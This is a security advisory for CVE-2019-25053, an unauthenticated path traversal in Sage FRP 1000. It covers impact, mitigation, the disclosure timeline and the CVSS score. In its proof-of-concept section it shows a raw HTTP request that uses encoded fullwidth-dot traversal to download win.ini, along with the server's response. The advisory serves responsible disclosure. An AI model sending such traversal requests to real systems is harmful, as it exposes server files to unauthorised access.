ON-X
SÉCURITÉ NUMÉRIQUE

SECURITY ADVISORY

SAGE FRP 1000
DIRECTORY TRAVERSAL

OLIVIER THIBAULT
12/13/2021
CVE-2019-25053

ON-X GROUPE
PARIS | TOULOUSE | MONTBÉLIARD | LYON

Siège social - 15 quai de Dion Bouton - F-92800 Puteaux
Tel : +33 (0)1 40 99 14 14 | Fax : +33 (0)1 40 99 99 58 | e-mail : contact@on-x.com

1. SUMMARY

1.1. DESCRIPTION

A path traversal vulnerability exists in Sage FRP 1000 versions published before November, 2019 which allows remote unauthenticated attacker to access files outside of the web tree.

The vendor confirmed that the vulnerability was already known to him and that a software update was provided to his customers accompanied by a Release Note mentioning the fix in November, 2019.

This vulnerability however was never made public until now and discovered independently by ON-X as part of a security assessment on a production platform.

ON-X recommends that vendors communicate in a clear and non-ambiguous way when providing security fixes by publishing official vulnerability announcements, and that users diligently apply vendors updates, and most especially security fixes.

1.2. PRODUCTS AND VERSIONS AFFECTED

Affected products:

- Sage FRP 1000 versions published before November, 2019 (tested on version 8.0.0.0)

1.3. IMPACT

A remote unauthenticated attacker can read and download any files from the Sage server that can disclose important information.

1.4. MITIGATIONS

Users who still use an older version of the product are strongly invited to upgrade to the latest version available at the vendor's site.

1.5. DISCLOSURE TIMELINE

DATE	EVENT
11/16/2021	Initial discovery.
11/23/2021	Vendor contacted.
11/26/2021	Vendor confirmed the vulnerable versions.
11/29/2021	CVE-ID reserved.
12/13/2021	Public disclosure.

2. TECHNICAL DETAILS

2.1. VULNERABILITY DETAILS

This vulnerability is a path traversal vulnerability in GET HTTP request from the root URL. The URL is not properly validated and can be used by an unauthenticated attacker to download files on the Sage server outside of the web tree.

2.2. PROOF OF CONCEPT

The following request allow to download the C:/Windows/win.ini system file from the Sage server:

Request

Pretty Raw Hex \n

```
1  GET /%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/windows/win.ini HTTP/1.1
2  Host: [redacted]
3  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
4  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
5  Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
6  Accept-Encoding: gzip, deflate
7  Upgrade-Insecure-Requests: 1
8  Sec-Fetch-Dest: document
9  Sec-Fetch-Mode: navigate
10 Sec-Fetch-Site: none
11 Sec-Fetch-User: ?1
12 Te: trailers
13 Connection: close
14
15
```

Figure 1 – Request for downloading win.ini file

Response

Pretty Raw Hex Render \n

```
1  HTTP/1.1 200 OK
2  Connection: close
3  Content-Disposition: attachment; filename="win.ini";
4  Content-Type: application/octet-stream; charset=utf-8
5  Content-Length: 92
6  Date: Tue, 16 Nov 2021 15:51:04 GMT
7  Cache-Control: public,max-age=864000
8  Pragma: public
9  Last-Modified: Sat, 16 Jul 2016 13:21:29 GMT
10 Server: Sage1000/8.0.0.0 - 21-11-2018 - 64 bits
11
12 ; for 16-bit app support
13 [fonts]
14 [extensions]
15 [mci extensions]
16 [files]
17 [Mail]
18 MAPI=1
19
```

Figure 2 – File win.ini returned in response

2.3. CVSS SCORE

CVSS 8.6 High					
	Base Score	Exploitability: 4.2		Impact: 4.4	
		Attack Vector	Network	Scope	Changed
		Attack Complexity	Low	Confidentiality	High
		Privileges Required	None	Integrity	None
		User Interaction	None	Availability	None
	Temporal Score	Exploit Code Maturity	Not Defined	Remediation Level	Not Defined
		Report Confidence	Not Defined		
	Environmental Score	Confidentiality Requirement	Not Defined	Availability Requirement	Not Defined
		Integrity Requirement	Not Defined		
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N					

2.4. RERERENCES

MITRE, CVE-2019-25053 :
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-25053